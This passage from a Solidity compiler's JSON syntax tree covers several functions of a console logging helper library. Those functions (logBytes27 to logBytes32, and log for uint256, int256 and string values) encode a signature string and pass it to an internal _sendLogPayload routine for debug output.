statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323729","id":24258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5678:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3a3757dda92e8e238aa23ff7f6f62e31074f6acccca8986ec1286b5a835236b6","typeString":"literal_string \"log(bytes27)\""},"value":"log(bytes27)"},{"id":24259,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24252,"src":"5694:2:15","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3a3757dda92e8e238aa23ff7f6f62e31074f6acccca8986ec1286b5a835236b6","typeString":"literal_string \"log(bytes27)\""},{"typeIdentifier":"t_bytes27","typeString":"bytes27"}],"expression":{"id":24256,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5654:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24257,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5658:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5654:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24260,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5654:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24255,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5638:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24261,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5638:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24262,"nodeType":"ExpressionStatement","src":"5638:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes27","nameLocation":"5591:10:15","parameters":{"id":24253,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24252,"mutability":"mutable","name":"p0","nameLocation":"5610:2:15","nodeType":"VariableDeclaration","scope":24264,"src":"5602:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"},"typeName":{"id":24251,"name":"bytes27","nodeType":"ElementaryTypeName","src":"5602:7:15","typeDescriptions":{"typeIdentifier":"t_bytes27","typeString":"bytes27"}},"visibility":"internal"}],"src":"5601:12:15"},"returnParameters":{"id":24254,"nodeType":"ParameterList","parameters":[],"src":"5628:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24278,"nodeType":"FunctionDefinition","src":"5711:123:15","nodes":[],"body":{"id":24277,"nodeType":"Block","src":"5757:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323829","id":24272,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5807:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c82aeaee74a6ddec4ccd5cfe60e816752c02c70838f0908bd4a6e82866b3a042","typeString":"literal_string \"log(bytes28)\""},"value":"log(bytes28)"},{"id":24273,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24266,"src":"5823:2:15","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c82aeaee74a6ddec4ccd5cfe60e816752c02c70838f0908bd4a6e82866b3a042","typeString":"literal_string \"log(bytes28)\""},{"typeIdentifier":"t_bytes28","typeString":"bytes28"}],"expression":{"id":24270,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5783:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24271,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5787:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5783:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5783:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24269,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5767:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24275,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5767:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24276,"nodeType":"ExpressionStatement","src":"5767:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes28","nameLocation":"5720:10:15","parameters":{"id":24267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24266,"mutability":"mutable","name":"p0","nameLocation":"5739:2:15","nodeType":"VariableDeclaration","scope":24278,"src":"5731:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"},"typeName":{"id":24265,"name":"bytes28","nodeType":"ElementaryTypeName","src":"5731:7:15","typeDescriptions":{"typeIdentifier":"t_bytes28","typeString":"bytes28"}},"visibility":"internal"}],"src":"5730:12:15"},"returnParameters":{"id":24268,"nodeType":"ParameterList","parameters":[],"src":"5757:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24292,"nodeType":"FunctionDefinition","src":"5840:123:15","nodes":[],"body":{"id":24291,"nodeType":"Block","src":"5886:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323929","id":24286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5936:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b69c3d5f782ef1bdb62d5bb42d4987f16799030ba447bb153d465bd3a3a5667","typeString":"literal_string \"log(bytes29)\""},"value":"log(bytes29)"},{"id":24287,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24280,"src":"5952:2:15","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4b69c3d5f782ef1bdb62d5bb42d4987f16799030ba447bb153d465bd3a3a5667","typeString":"literal_string \"log(bytes29)\""},{"typeIdentifier":"t_bytes29","typeString":"bytes29"}],"expression":{"id":24284,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5912:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24285,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5916:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"5912:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24288,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5912:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24283,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"5896:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24289,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5896:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24290,"nodeType":"ExpressionStatement","src":"5896:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes29","nameLocation":"5849:10:15","parameters":{"id":24281,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24280,"mutability":"mutable","name":"p0","nameLocation":"5868:2:15","nodeType":"VariableDeclaration","scope":24292,"src":"5860:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"},"typeName":{"id":24279,"name":"bytes29","nodeType":"ElementaryTypeName","src":"5860:7:15","typeDescriptions":{"typeIdentifier":"t_bytes29","typeString":"bytes29"}},"visibility":"internal"}],"src":"5859:12:15"},"returnParameters":{"id":24282,"nodeType":"ParameterList","parameters":[],"src":"5886:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24306,"nodeType":"FunctionDefinition","src":"5969:123:15","nodes":[],"body":{"id":24305,"nodeType":"Block","src":"6015:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333029","id":24300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6065:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee12c4edbd73d98174a6bf3454562c4874f59cb381176b662ca65f625f97d6ad","typeString":"literal_string \"log(bytes30)\""},"value":"log(bytes30)"},{"id":24301,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24294,"src":"6081:2:15","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee12c4edbd73d98174a6bf3454562c4874f59cb381176b662ca65f625f97d6ad","typeString":"literal_string \"log(bytes30)\""},{"typeIdentifier":"t_bytes30","typeString":"bytes30"}],"expression":{"id":24298,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6041:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24299,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6045:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6041:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6041:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24297,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6025:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6025:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24304,"nodeType":"ExpressionStatement","src":"6025:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes30","nameLocation":"5978:10:15","parameters":{"id":24295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24294,"mutability":"mutable","name":"p0","nameLocation":"5997:2:15","nodeType":"VariableDeclaration","scope":24306,"src":"5989:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"},"typeName":{"id":24293,"name":"bytes30","nodeType":"ElementaryTypeName","src":"5989:7:15","typeDescriptions":{"typeIdentifier":"t_bytes30","typeString":"bytes30"}},"visibility":"internal"}],"src":"5988:12:15"},"returnParameters":{"id":24296,"nodeType":"ParameterList","parameters":[],"src":"6015:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24320,"nodeType":"FunctionDefinition","src":"6098:123:15","nodes":[],"body":{"id":24319,"nodeType":"Block","src":"6144:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333129","id":24314,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6194:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c2854d92a0707e582e2710f9c9d3f148fdcf7e7da3b4270c2cfa3e223a2c50ce","typeString":"literal_string \"log(bytes31)\""},"value":"log(bytes31)"},{"id":24315,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24308,"src":"6210:2:15","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c2854d92a0707e582e2710f9c9d3f148fdcf7e7da3b4270c2cfa3e223a2c50ce","typeString":"literal_string \"log(bytes31)\""},{"typeIdentifier":"t_bytes31","typeString":"bytes31"}],"expression":{"id":24312,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6170:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24313,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6174:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6170:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6170:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24311,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6154:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6154:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24318,"nodeType":"ExpressionStatement","src":"6154:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes31","nameLocation":"6107:10:15","parameters":{"id":24309,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24308,"mutability":"mutable","name":"p0","nameLocation":"6126:2:15","nodeType":"VariableDeclaration","scope":24320,"src":"6118:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"},"typeName":{"id":24307,"name":"bytes31","nodeType":"ElementaryTypeName","src":"6118:7:15","typeDescriptions":{"typeIdentifier":"t_bytes31","typeString":"bytes31"}},"visibility":"internal"}],"src":"6117:12:15"},"returnParameters":{"id":24310,"nodeType":"ParameterList","parameters":[],"src":"6144:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24334,"nodeType":"FunctionDefinition","src":"6227:123:15","nodes":[],"body":{"id":24333,"nodeType":"Block","src":"6273:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573333229","id":24328,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6323:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_27b7cf8513ac6b65cae720183e1e60e67f8a9d92c01286c19d51d4e30aa269da","typeString":"literal_string \"log(bytes32)\""},"value":"log(bytes32)"},{"id":24329,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24322,"src":"6339:2:15","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_27b7cf8513ac6b65cae720183e1e60e67f8a9d92c01286c19d51d4e30aa269da","typeString":"literal_string \"log(bytes32)\""},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":24326,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6299:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24327,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6303:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6299:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24330,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6299:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24325,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6283:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24331,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6283:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24332,"nodeType":"ExpressionStatement","src":"6283:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes32","nameLocation":"6236:10:15","parameters":{"id":24323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24322,"mutability":"mutable","name":"p0","nameLocation":"6255:2:15","nodeType":"VariableDeclaration","scope":24334,"src":"6247:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":24321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6247:7:15","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"6246:12:15"},"returnParameters":{"id":24324,"nodeType":"ParameterList","parameters":[],"src":"6273:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24348,"nodeType":"FunctionDefinition","src":"6356:116:15","nodes":[],"body":{"id":24347,"nodeType":"Block","src":"6395:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e7432353629","id":24342,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6445:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f82c50f1848136e6c140b186ea0c768b7deda5efffe42c25e96336a90b26c744","typeString":"literal_string \"log(uint256)\""},"value":"log(uint256)"},{"id":24343,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24336,"src":"6461:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f82c50f1848136e6c140b186ea0c768b7deda5efffe42c25e96336a90b26c744","typeString":"literal_string \"log(uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24340,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6421:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24341,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6425:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6421:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24344,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6421:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24339,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6405:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6405:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24346,"nodeType":"ExpressionStatement","src":"6405:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6365:3:15","parameters":{"id":24337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24336,"mutability":"mutable","name":"p0","nameLocation":"6377:2:15","nodeType":"VariableDeclaration","scope":24348,"src":"6369:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24335,"name":"uint256","nodeType":"ElementaryTypeName","src":"6369:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6368:12:15"},"returnParameters":{"id":24338,"nodeType":"ParameterList","parameters":[],"src":"6395:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24362,"nodeType":"FunctionDefinition","src":"6478:114:15","nodes":[],"body":{"id":24361,"nodeType":"Block","src":"6516:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728696e7432353629","id":24356,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6566:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d5b6cb95ba2d00a93cd4ffa61ec07ef4bb1694f20c02a3cccb170a38df81ef8","typeString":"literal_string \"log(int256)\""},"value":"log(int256)"},{"id":24357,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24350,"src":"6581:2:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d5b6cb95ba2d00a93cd4ffa61ec07ef4bb1694f20c02a3cccb170a38df81ef8","typeString":"literal_string \"log(int256)\""},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":24354,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6542:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24355,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6546:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6542:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6542:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24353,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6526:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24359,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6526:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24360,"nodeType":"ExpressionStatement","src":"6526:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6487:3:15","parameters":{"id":24351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24350,"mutability":"mutable","name":"p0","nameLocation":"6498:2:15","nodeType":"VariableDeclaration","scope":24362,"src":"6491:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":24349,"name":"int256","nodeType":"ElementaryTypeName","src":"6491:6:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"6490:11:15"},"returnParameters":{"id":24352,"nodeType":"ParameterList","parameters":[],"src":"6516:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24376,"nodeType":"FunctionDefinition","src":"6598:121:15","nodes":[],"body":{"id":24375,"nodeType":"Block","src":"6643:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":24370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6693:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":24371,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24364,"src":"6708:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24368,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6669:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24369,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6673:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6669:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6669:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24367,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6653:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6653:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24374,"nodeType":"ExpressionStatement","src":"6653:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6607:3:15","parameters":{"id":24365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24364,"mutability":"mutable","name":"p0","nameLocation":"6625:2:15","nodeType":"VariableDeclaration","scope":24376,"src":"6611:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24363,"name":"string","nodeType":"ElementaryTypeName","src":"6611:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6610:18:15"},"returnParame